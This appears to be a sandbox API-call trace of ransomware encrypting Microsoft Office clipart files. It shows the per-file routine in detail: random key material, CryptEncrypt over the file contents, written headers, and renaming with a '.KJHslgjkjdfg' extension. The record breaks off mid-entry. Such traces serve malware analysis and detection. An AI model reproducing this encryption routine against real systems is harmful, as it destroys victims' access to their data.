[0232.142] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.142] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.142] SetEndOfFile (hFile=0x130) returned 1 [0232.145] GetProcessHeap () returned 0x2ef0000 [0232.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.145] GetProcessHeap () returned 0x2ef0000 [0232.145] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.kjhslgjkjdfg")) returned 1 [0232.147] CloseHandle (hObject=0x130) returned 1 [0232.147] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0232.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.148] GetProcessHeap () returned 0x2ef0000 [0232.148] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.148] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0232.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.153] GetProcessHeap () returned 0x2ef0000 [0232.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.154] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.154] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.154] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.154] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xae4, lpOverlapped=0x0) returned 1 [0232.154] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf0) returned 1 [0232.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.154] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaf0, lpOverlapped=0x0) returned 1 [0232.154] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.154] SetEndOfFile (hFile=0x130) returned 1 [0232.157] GetProcessHeap () returned 0x2ef0000 [0232.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.157] GetProcessHeap () returned 0x2ef0000 [0232.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.kjhslgjkjdfg")) returned 1 [0232.159] CloseHandle (hObject=0x130) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0232.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.160] GetProcessHeap () returned 0x2ef0000 [0232.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.161] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.161] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.161] GetProcessHeap () returned 0x2ef0000 [0232.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.161] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.161] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.164] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x540, lpOverlapped=0x0) returned 1 [0232.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540, dwBufLen=0x540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x540) returned 1 [0232.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x540, lpOverlapped=0x0) returned 1 [0232.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.165] SetEndOfFile (hFile=0x130) returned 1 [0232.168] GetProcessHeap () returned 0x2ef0000 [0232.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.168] GetProcessHeap () returned 0x2ef0000 [0232.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.kjhslgjkjdfg")) returned 1 [0232.176] CloseHandle (hObject=0x130) returned 1 [0232.176] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0232.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.178] GetProcessHeap () returned 0x2ef0000 [0232.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.178] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.180] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.180] GetProcessHeap () returned 0x2ef0000 [0232.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.181] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.182] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.182] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1db8, lpOverlapped=0x0) returned 1 [0232.183] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1dc0, dwBufLen=0x1dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1dc0) returned 1 [0232.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.183] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1dc0, lpOverlapped=0x0) returned 1 [0232.183] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.183] SetEndOfFile (hFile=0x130) returned 1 [0232.186] GetProcessHeap () returned 0x2ef0000 [0232.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.186] GetProcessHeap () returned 0x2ef0000 [0232.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.kjhslgjkjdfg")) returned 1 [0232.188] CloseHandle (hObject=0x130) returned 1 [0232.188] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0232.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.189] GetProcessHeap () returned 0x2ef0000 [0232.189] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.189] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.192] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.192] GetProcessHeap () returned 0x2ef0000 [0232.192] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.192] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.192] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.193] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.193] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.193] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.193] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.193] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcdc, lpOverlapped=0x0) returned 1 [0232.193] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0, dwBufLen=0xce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0) returned 1 [0232.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.193] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xce0, lpOverlapped=0x0) returned 1 [0232.194] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.194] SetEndOfFile (hFile=0x130) returned 1 [0232.196] GetProcessHeap () returned 0x2ef0000 [0232.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.196] GetProcessHeap () returned 0x2ef0000 [0232.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.kjhslgjkjdfg")) returned 1 [0232.198] CloseHandle (hObject=0x130) returned 1 [0232.198] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, 